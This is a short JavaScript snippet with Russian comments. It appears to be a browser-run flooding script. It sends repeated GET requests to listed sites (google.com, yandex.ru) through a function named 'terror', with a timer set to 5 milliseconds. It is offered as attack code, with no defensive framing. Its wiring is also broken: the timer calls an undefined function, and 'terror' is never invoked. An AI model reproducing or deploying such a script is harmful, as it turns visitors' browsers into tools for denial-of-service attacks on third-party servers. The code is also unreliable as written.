setInterval("ajaxFunction()",5)

var req;
var targets = new Array("http://google.com","http://yandex.ru");
function SendHTTP(url) {
req = false;
if (window.XMLHttpRequest) { // не ИЕ
req = new XMLHttpRequest();
} else if (window.ActiveXObject) { // ИЕ
req = new ActiveXObject("Microsoft.XMLHTTP");
}
if (req) {
req.open("GET", url, true);
req.send();
}
}
function terror() {
for (i=0;i<targets.length;i++) {
SendHTTP(targets[i]);
}
}